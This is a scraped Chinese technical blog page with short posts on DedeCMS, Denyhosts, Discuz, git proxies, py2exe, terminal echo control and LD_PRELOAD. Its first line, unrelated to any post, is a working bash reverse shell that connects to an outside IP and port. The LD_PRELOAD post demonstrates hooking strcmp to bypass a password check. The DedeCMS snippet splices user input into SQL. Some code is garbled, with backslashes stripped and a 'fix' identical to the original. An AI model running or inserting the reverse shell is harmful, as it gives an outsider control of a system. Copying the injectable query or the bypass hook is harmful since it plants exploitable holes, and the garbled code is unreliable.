exec 9<> /dev/tcp/1.1.1.1/20239;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i
欲速则不达
欲速则不达,切记
dedecms 嵌套dsql
织梦CMS中嵌套查询语句,SetQuery和GetObject传入不同的参数就可以了。
if($keyword != '')
{
$query2 = "SELECT id,title,typeid FROM `#@__archives` where arcrank>-1 AND ($keyword) ORDER BY id desc limit 0,5";
}
else
{
$query2 = "SELECT id,title,typeid FROM `#@__archives` where arcrank>-1 ORDER BY id desc limit 0,5";
}
$dsql->SetQuery($query2);
$dsql->Execute(1);
while($row=$dsql->GetObject(1))
{
$dsql->SetQuery("Select typedir From `#@__arctype` where id='$row->typeid'");
$dsql->Execute(2);
$ttrow=$dsql->GetObject(2);
$tpdir=substr($ttrow->typedir,10);
$likearticle .= "使用Denyhosts防止SSHD和VSFTPD暴力破解
Denyhosts防止暴力破解主要是根据登录的日志/var/log/secure(centos为例),登录失败次数超过一定的阀值将IP写入/etc/hosts.deny文件中。文件格式如下:
#服务名称:ip地址 sshd: 180.97.239.49 ALL: 180.78.180.186
Denyhosts是专门用于防止SSHD登录,默认也是防止sshd登录的配置;如果想让vsftpd也添加一个安全的墙,需要在配置中添加以下信息,主要是格式化了匹配的正则表达式。
denyhosts.cfg: SSHD_FORMAT_REGEX=.* (sshd.*:|[sshd]|vsftpd.*:) (?P.*) USERDEF_FAILED_ENTRY_REGEX=authentication failure.* ruser=(?P S+) rhost=(?P S+) BLOCK_SERVICE = ALL
修改后,需要重启denghosts服务。
vsftpd如果使用这种机制需要开启tcp_wrappers(默认是开启的)
tcp_wrappers=YES
dizcuz 不能加载模板问题
今天帮朋友迁移一个教育网站,在目标主机上面搭建好LNMP后,把网站打包上传,数据库备份上传,把数据库导入,网站文件和目录设置好,还有一些乱七八糟的设置设置。配置弄好后,启动程序,测试一下网站是否和原来的功能是否一致,页面是否都正常,需要和没迁移前保持一样。经过测试,其他的几个模块都没有问题,有一个BBS的模块,使用的dizcuz的程序,版本有些老了,打开首页直接显示模板内容了。看了对应的php是可以解析的,php解析没有问题,再看权限,设置的也合理。最后看了看解析的代码页没有问题,网站的文件都是打包过来的,文件一致性肯定能保证,肯定是环境哪里设置的问题。最好找了半天发现一个php的参数没有修改,原来是short_open_tag = Off,修改为On,重启一下php-fpm,(如果你是apache+php模块,就重启apache),再次访问就正常了。关于这个参数区别如下:
php.ini ; This directive determines whether or not PHP will recognize code between ; and ?> tags as PHP source which should be processed as such. It's been ; recommended for several years that you not use the short tag "short cut" and ; instead to use the full tag combination. With the wide spread use ; of XML and use of these tags by other languages, the server can become easily ; confused and end up parsing the wrong code in the wrong context. But because ; this short cut has been a feature for such a long time, it's currently still ; supported for backwards compatibility, but we recommend you don't use them. ; Default Value: On ; Development Value: Off ; Production Value: Off ; http://php.net/short-open-tag short_open_tag = On
这种情况也只有迁移的时候会遇到,如果重新安装,discuz检查php参数的时候肯定是报错不通过的。
git 设置HTTP代理
git设置HTTP代理,很简单,网上有些比较复杂,应该版本低的问题。一条命令即可。
git config --global http.proxy http://10.196.61.92:8080
Dedecms GBK版本后台系统设置无法输入中文问题
最近用dedecms搭建了一个简单的站,主要用于测试。发现在后台系统-系统基础参数。很多选项没有办法成功设置中文。
实际上提交已成功,看数据库dede_sysconfig记录已成功插入,应该属于显示问题。看显示代码
dede/templets/sys_info.htm:
echo "{$addstr}";
用于转换html特殊字符,网上查询了一下,是PHP5.4以上版本会有这个问题,必须指定编号类型。需修改为
echo "{$addstr}";
修改后,再修改系统基础参数就可以显示了。
因为代码中太多类似的代码了,最好还是降低一下php的版本。
py2exe error [Errno 2] No such file or directory &#039;MSVCP90.dll&#039;
使用py2exe生产windows可执行程序时,报错:error: [Errno 2] No such file or directory: ‘MSVCP90.dll’
原脚本:
#!/usr/bin/env python __author__ = 'key1088' __date__ = '15-3-7' from distutils.core import setup import py2exe setup(console=["overtime.py"])
使用生产命令:
F:workdirpython1>D:Python27python.exe mysetup.py py2exe running py2exe creating F:workdirpython1build creating F:workdirpython1buildbdist.win32 creating F:workdirpython1buildbdist.win32winexe creating F:workdirpython1buildbdist.win32winexecollect-2.7 creating F:workdirpython1buildbdist.win32winexebundle-2.7 creating F:workdirpython1buildbdist.win32winexetemp creating F:workdirpython1dist *** searching for required modules *** *** parsing results *** creating python loader for extension 'unicodedata' (D:Python27DLLsunicodedata.pyd -> unicodedata.pyd) creating python loader for extension 'wx._misc_' (D:Python27libsite-packageswx-3.0-mswwx_misc_.pyd -> wx._misc_.pyd) creating python loader for extension 'select' (D:Python27DLLsselect.pyd -> select.pyd) creating python loader for extension 'wx._windows_' (D:Python27libsite-packageswx-3.0-mswwx_windows_.pyd -> wx._windows_.pyd) creating python loader for extension '_hashlib' (D:Python27DLLs_hashlib.pyd -> _hashlib.pyd) creating python loader for extension 'wx._gdi_' (D:Python27libsite-packageswx-3.0-mswwx_gdi_.pyd -> wx._gdi_.pyd) creating python loader for extension 'wx._controls_' (D:Python27libsite-packageswx-3.0-mswwx_controls_.pyd -> wx._controls_.pyd) creating python loader for extension '_sqlite3' (D:Python27DLLs_sqlite3.pyd -> _sqlite3.pyd) creating python loader for extension 'bz2' (D:Python27DLLsbz2.pyd -> bz2.pyd) creating python loader for extension 'wx._core_' (D:Python27libsite-packageswx-3.0-mswwx_core_.pyd -> wx._core_.pyd) *** finding dlls needed *** error: [Errno 2] No such file or directory: 'MSVCP90.dll'
修改代码最后一行:
setup(console=["overtime.py"],options = { "py2exe":{"dll_excludes":["MSVCP90.dll"]}})
生成exe文件成功。
为了使py2exe打出来的可执行文件不出现中文乱码,每次输出要采用以下格式:print unicode(“中文”,”utf-8”)
用tcgetattr、tcsetattr实现密码输入框
在读ptrunnel的代码时,发现一个很好的用法记录一下,可用于密码的输入框,不回显输入内容,可用于很多场景。
代码如下:
static int terminal_echo_off(int fd)
{
struct termios term;
if (isatty(fd) == 0)
{
#ifdef DEBUG
printf("the file %i is not a terminaln", fd);
#endif /* DEBUG */
return -1;
}
if (tcgetattr(fd, &term) < 0)
{
#ifdef DEBUG
perror("tcgetattr: ");
#endif /* DEBUG */
return -1;
}
term.c_lflag &= ~ECHO;
if (tcsetattr(fd, TCSANOW, &term) < 0)
{
#ifdef DEBUG
perror("tcsetattr: ");
#endif /* DEBUG */
return -1;
}
return 0;
}
static int terminal_echo_on(int fd)
{
struct termios term;
if (isatty(fd) == 0)
{
#ifdef DEBUG
printf("the file %i is not a terminaln", fd);
#endif /* DEBUG */
return -1;
}
if (tcgetattr(fd, &term) < 0)
{
#ifdef DEBUG
perror("tcgetattr: ");
#endif /* DEBUG */
return -1;
}
term.c_lflag |= ECHO;
if (tcsetattr(fd, TCSANOW, &term) < 0)
{
#ifdef DEBUG
perror("tcsetattr: ");
#endif /* DEBUG */
return -1;
}
return 0;
}
LINUX 设置库优先级变量LD_PRELOAD
在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
大家想到着就邪恶了吧,今天看proxychanis代码发现的,和win平台sockscap32类似。
看代码test.c
#include#include #include int main(void) { char *passwd="abcd"; char in_buff[10]; printf("-->input your passwd:"); scanf("%s", in_buff); if( strcmp(passwd,in_buff) != 0) { printf("passwd errn"); exit(-1); } printf("ok!. open doorn"); }
库代码hack.c
#includeint strcmp(const char *s1, const char *s2) { printf("hack function invoked. s1=[%s],s2=[%s]n", s1, s2); return 0; }
[root@localhost preload]# gcc -o test test.c [root@localhost preload]# ./test -->input your passwd:123 passwd err [root@localhost preload]# gcc -shared -o hack.o hack.c [root@localhost preload]# ls -l hack.so -rwxr-xr-x 1 root root 4116 Apr 13 15:52 hack.so [root@localhost preload]# LD_PRELOAD="./hack.so" [root@localhost preload]# ./test -->input your passwd:123 passwd err [root@localhost preload]# export LD_PRELOAD="./hack.so" [root@localhost preload]# ./test -->input your passwd:123 hack function invoked. s1=[abcd],s2=[123] ok!. open door [root@localhost preload]#
这是一种思路,还有一种最直接的办法用ltrace
ltrace是跟踪调用库函数的工具
[root@localhost preload]# export LD_PRELOAD= [root@localhost preload]# ltrace ./test (0x69951c, 0x699ab0, 0, 0, 0x699e58) = 0x6998e4 __libc_start_main(0x80484a4, 1, 0xbf948364, 0x8048530, 0x8048520printf("-->input your passwd:") = 21 __isoc99_scanf(0x80485ff, 0xbf9482a2, 0x9acce0, 0x9abff4, 0x8048530-->input your passwd:123 ) = 1 strcmp("abcd", "123") = 1 puts("passwd err"passwd err ) = 11 exit(1 +++ exited (status 1) +++ [root@localhost preload]#